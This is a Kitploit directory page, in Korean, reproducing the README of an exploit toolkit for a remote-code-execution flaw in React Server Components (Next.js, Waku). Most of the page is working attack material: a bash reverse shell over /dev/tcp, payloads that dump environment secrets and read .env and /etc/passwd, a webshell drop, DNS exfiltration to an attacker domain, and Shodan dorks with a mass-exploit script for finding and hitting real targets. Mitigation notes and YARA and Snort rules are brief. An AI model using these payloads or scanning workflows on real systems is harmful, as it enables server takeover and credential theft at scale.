Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PoC-RCE-CVE-2025-55182 — React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubilixm/poc-rce-cve-2025-55182
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PoC-RCE-CVE-2025-55182

React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다.

저장소 보기

🔥 RSC RCE 익스플로잇 툴킷

Version License Node Platform

React Server Components 원격 코드 실행 취약점을 위한 고급 익스플로잇 툴킷

승인된 침투 테스트 및 보안 연구 전용

기능 • 설치 • 사용법 • Shodan 통합 • 예제 • 면책 조항


📋 목차

  • 개요
  • 취약점 상세
  • 기능
  • 설치
  • 빠른 시작
  • 사용법
    • 기본 익스플로잇
    • 사용 가능한 페이로드
    • 사용자 정의 페이로드
  • Shodan 통합
  • 자동 스캐닝
  • 예제
  • 완화
  • 영향받는 버전
  • 기여
  • 면책 조항
  • 라이선스

🎯 개요

이 툴킷은 React Server Components (RSC) 구현체의 중요 원격 코드 실행 (RCE) 취약점을 익스플로잇하며, 특히 다음을 대상으로 합니다:

  • Next.js (13.4.0 ~ 14.1.0)
  • Waku (취약한 버전)

이 취약점은 RSC의 데이터 처리 메커니즘에서 프로토타입 오염 및 안전하지 않은 역직렬화를 이용하여 서버에서 임의 코드 실행을 달성합니다.

🔴 심각도: CRITICAL

  • CVSS 점수: 9.8 (Critical)
  • 공격 벡터: 네트워크
  • 필요 권한: 없음
  • 사용자 상호 작용: 없음
  • 영향: 완전한 서버 장악

🔬 취약점 상세

기술적 배경

React Server Components는 클라이언트와 서버 간 데이터 전송을 위해 사용자 정의 직렬화 포맷을 사용합니다. 취약점은 이러한 프레임워크가 특수하게 조작된 페이로드를 역직렬화하고 처리하는 방식에 존재합니다.

공격 체인:

  1. 페이로드 구성: 순환 참조가 포함된 악성 RSC 페이로드 제작
  2. 프로토타입 오염: $X:constructor:constructor를 남용하여 Function 생성자에 접근
  3. 코드 삽입: _prefix 필드에 임의의 JavaScript 삽입
  4. 실행: 서버가 페이로드를 역직렬화하고 실행

익스플로잇 흐름

root@kitploit:~
공격자 → 악성 RSC 페이로드 → 대상 서버
                                ↓
                     안전하지 않은 역직렬화
                                ↓
                     프로토타입 체인 접근
                                ↓
                     Function 생성자
                                ↓
                     ⚠️ RCE 성공 ⚠️

✨ 기능

핵심 기능

  • ✅ 다중 프레임워크 지원: Next.js 및 Waku
  • ✅ 8개의 사전 구축 페이로드: PoC부터 전체 리버스 셸까지
  • ✅ 사용자 정의 코드 실행: 모든 JavaScript 코드 삽입
  • ✅ Shodan 통합: 자동 대상 발견
  • ✅ 대량 스캐닝: 여러 대상을 자동으로 테스트
  • ✅ 전문 CLI: 완전한 명령줄 인터페이스
  • ✅ 상세 로깅: 타임스탬프가 포함된 색상화된 출력
  • ✅ 오류 처리: 강력한 오류 관리

사전 구축된 페이로드


📦 설치

전제 조건

  • Node.js >= 16.0.0
  • npm 또는 yarn
  • Shodan CLI (선택 사항, 자동 스캐닝용)

저장소 클론

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

종속성 설치

root@kitploit:~
npm install
# 또는
yarn install

Shodan 설정 (선택 사항)

root@kitploit:~
# Shodan CLI 설치
pip install shodan

# API 키로 초기화
shodan init YOUR_API_KEY

🚀 빠른 시작

1. 기본 취약점 확인

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. 리버스 셸 획득

root@kitploit:~
# 리스너 시작
nc -lvnp 4444

# 익스플로잇 실행
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. 사용자 정의 명령 실행

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 사용법

기본 익스플로잇

root@kitploit:~
node rsc-rce-exploit.js [옵션]

옵션

*--payload 또는 --custom 중 하나는 필수

사용 가능한 페이로드

모든 페이로드 보기:

root@kitploit:~
node rsc-rce-exploit.js --list

출력:

root@kitploit:~
📋 사용 가능한 페이로드:

  console              - 기본 PoC - 콘솔 출력
    코드: console.log(7*7+1)

  reverseShell         - 리버스 셸 (bash)
    코드: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - /etc/passwd 읽기
    코드: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - 환경 변수 덤프
    코드: console.log(JSON.stringify(process.env,null,2))

  execCommand          - 시스템 명령 실행
    코드: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - /tmp에 웹셸 작성
    코드: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - package.json 읽기
    코드: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS 추출
    코드: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

사용자 정의 페이로드

모든 JavaScript 코드 실행:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan 통합

Shodan Dorks

Next.js 대상

root@kitploit:~
# 기본 Next.js
http.component:"Next.js"

# RSC를 사용하는 Next.js
http.html:"__next" http.html:"RSC"

# Next.js 개발 모드 (더 취약함)
http.html:"__NEXT_DATA__" http.html:"development"

# 자체 호스팅 Next.js (Vercel 아님)
http.component:"Next.js" -org:"Vercel"

# 지역 대상 지정 (프랑스)
http.component:"Next.js" country:FR

# 침투 테스트용 최고 조합
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku 대상

root@kitploit:~
# Waku 프레임워크
http.html:"waku" http.html:"RSC"

# Waku RSC 엔드포인트
http.path:"/RSC/"

자동 Shodan 스캐닝

제공된 자동화 스크립트 사용:

root@kitploit:~
# 스캔 및 자동 테스트
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# 사용자 정의 페이로드와 함께
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

수동 Shodan 워크플로우

root@kitploit:~
# 1. Shodan 검색
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. 각 대상 테스트
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] http://$ip:$port 테스트 중"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 자동 스캐닝

대량 익스플로잇 스크립트

mass-exploit.js 도구를 사용하면 여러 대상을 테스트할 수 있습니다:

root@kitploit:~
# 파일에서
node mass-exploit.js --file targets.txt --payload console --threads 10

# Shodan에서
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# 결과 저장
node mass-exploit.js --file targets.txt --payload console --output results.json

CI/CD 통합

자동 보안 테스트 예시:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC 보안 테스트
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 예제

예제 1: 기본 PoC

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

예상 출력:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE 익스플로잇 - 향상된 버전                ║
║         React Server Components 코드 실행                  ║
╚═══════════════════════════════════════════════════════════╝

[*] 익스플로잇 시작 중...
[*] Next.js RSC 엔드포인트 대상 지정 중...
[*] URL: https://vulnerable.example.com
[*] 페이로드: console.log(7*7+1)...
[+] 응답 상태: 200
[+] 응답 본문:
50
[*] 익스플로잇 완료!

예제 2: 환경 변수 추출

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

결과:

  • 모든 process.env 변수 덤프
  • 추출에 유용:
    • 데이터베이스 자격 증명
    • API 키
    • AWS 비밀
    • JWT 비밀

예제 3: 리버스 셸

root@kitploit:~
# 터미널 1: 리스너 시작
nc -lvnp 4444

# 터미널 2: 익스플로잇 실행
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

예제 4: 웹 셸 배포

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# 웹셸 접근
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

예제 5: DNS 추출 (블라인드)

root@kitploit:~
# Burp Collaborator 또는 DNS 서버 설정
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

예제 6: Waku 프레임워크

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

예제 7: 파일 추출

root@kitploit:~
# 민감한 파일 읽기
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ 완화

개발자용

  1. 프레임워크 업데이트

    root@kitploit:~
    npm install next@latest
    # 또는
    npm install waku@latest
    
  2. 입력 검증

    root@kitploit:~
    // 모든 RSC 페이로드 검증
    function validateRSCPayload(payload) {
      // 엄격한 검증 구현
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. 콘텐츠 보안 정책

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. 프로덕션에서 RSC 비활성화 (필요하지 않은 경우)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

보안 팀용

  • 🔍 의심스러운 RSC 요청 모니터링
  • 🚨 next-action 헤더 사용에 대한 경고
  • 🔒 프로토타입 오염 시도 차단을 위한 WAF 규칙
  • 📊 익스플로잇 시도에 대한 로그 분석

탐지 규칙

YARA 규칙:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Snort 규칙:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE 시도"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 영향받는 버전

Next.js

Waku

버전 범위상태참고
< 0.18.0⚠️ 취약중요 RCE
>= 0.18.0✅ 패치됨업데이트 권장

🤝 기여

기여를 환영합니다! 다음 지침을 따라주세요:

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b feature/amazing-feature)
  3. 변경 사항을 커밋하세요 (git commit -m '멋진 기능 추가')
  4. 브랜치에 푸시하세요 (git push origin feature/amazing-feature)
  5. 풀 리퀘스트를 열어주세요

기여 아이디어

  • 더 많은 페이로드 템플릿 추가
  • Nuclei 템플릿 구현
  • 더 많은 RSC 프레임워크 지원 추가
  • Shodan 통합 개선
  • 보고 기능 추가 (PDF/HTML)
  • 툴킷용 Docker 컨테이너 생성

⚖️ 면책 조항

root@kitploit:~
⚠️ 법적 면책 조항 ⚠️

이 툴킷은 승인된 보안 테스트 및 연구 전용으로 제공됩니다.

이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다:

1. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트합니다
2. 모든 관련 지방, 주, 국가 및 국제법을 준수합니다
3. 이 도구를 악의적인 목적이나 불법 활동에 사용하지 않습니다
4. 귀하의 행동에 대한 전적인 책임을 수락합니다

저자 및 기여자:
- 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다
- 불법 활동을 장려하거나 묵인하지 않습니다
- 이 도구를 "있는 그대로" 제공하며 어떠한 종류의 보증도 하지 않습니다

컴퓨터 시스템에 대한 무단 접근은 불법입니다.

위반자는 다음 법률에 따라 최대한 기소됩니다:
- 컴퓨터 사기 및 남용 법 (CFAA) - 미국
- 컴퓨터 오용 법 - 영국
- 유럽 사이버 범죄 협약
- 관할권의 기타 관련 법률

사용에 따른 책임은 본인에게 있습니다.

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

root@kitploit:~
MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

🔗 리소스

공식 문서

  • Next.js Server Actions
  • React Server Components
  • Waku 문서

보안 연구

  • RSC 역직렬화 취약점 분석
  • JavaScript의 프로토타입 오염
  • Next.js 보안 모범 사례

관련 CVE

  • CVE-2024-XXXXX (자리 표시자 - 사용 가능 시 실제 CVE로 대체)

📬 연락처

  • GitHub Issues: 버그 신고 또는 기능 요청
  • 보안 문제: [email protected]
  • 트위터: @yourhandle

⭐ 이 도구가 보안 연구에 도움이 되었다면 별표를 눌러주세요! ⭐

보안 연구자들이 보안 연구자들을 위해 ❤️로 만들었습니다

⬆ 맨 위로

도구 다운로드
페이로드설명사용 사례
console기본 PoC (console.log)취약점 확인
reverseShellBash 리버스 셸초기 접근
readFile/etc/passwd 읽기파일 시스템 접근
envDump환경 변수 덤프자격 증명 추출
execCommand시스템 명령 실행임의 명령 실행
webshellExpress 웹셸 배포지속적 접근
exfilPackagepackage.json 추출종속성 분석
dnsExfilDNS 추출 (OOB)블라인드 익스플로잇
옵션설명필수
--target <url>대상 URL✅
--framework <name>프레임워크: next 또는 waku❌ (기본값: next)
--payload <name>페이로드 이름 (아래 참조)✅*
--custom <code>사용자 정의 JavaScript 코드✅*
--lhost <ip>사용자 IP (리버스 셸용)❌
--lport <port>사용자 포트 (리버스 셸용)❌
--command <cmd>실행할 명령어❌
--endpoint <path>사용자 정의 RSC 엔드포인트 (Waku)❌
--action-id <id>사용자 정의 next-action ID❌
--list사용 가능한 페이로드 목록❌
--verbose상세 출력❌
--help도움말 표시❌
버전 범위상태참고
< 13.4.0✅ 영향 없음RSC 기본 활성화되지 않음
13.4.0 - 13.4.19⚠️ 취약중요 RCE
13.5.0 - 14.0.4⚠️ 취약중요 RCE
14.1.0⚠️ 취약부분 완화
>= 14.1.1✅ 패치됨업데이트 권장